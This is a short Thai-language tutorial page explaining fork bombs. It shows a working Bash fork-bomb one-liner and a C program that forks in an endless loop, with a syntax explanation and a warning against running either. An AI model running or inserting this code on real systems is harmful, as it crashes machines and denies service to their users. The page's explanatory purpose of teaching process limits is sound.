Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> การเขียนโปรแกรม >> การเขียนโปรแกรม C

C vs BASH Fork Bomb: โค้ดระเบิดโฟร์กใน C และ Bash

Fork Bomb เป็นโจมตี DoS (Denial of Service) ที่เรียก system call fork() หรือคำสั่งคล้ายๆ ไปเรื่อยๆ จนหน่วยความจำเต็มและระบบล่ม

Bash Fork Bomb

:(){ :|: & };:

คำอธิบาย: :() คือการนิยามฟังก์ชัน, {} คือ body, :|:& เรียกฟังก์ชันตัวเองแบบ background สร้าง process โชคไม่มีที่สิ้นสุด

C Fork Bomb

#include <unistd.h>

int main() {
    while (1) {
        fork();
    }
}

คำเตือน: โค้ดเหล่านี้เป็นอันตรายต่อระบบ ห้ามรันบนเครื่องจริง ไว้เพื่อการศึกษาเพื่อเข้าใจกลไกการทำงานของ process และความสำคัญของการจำกัด resource (ulimit)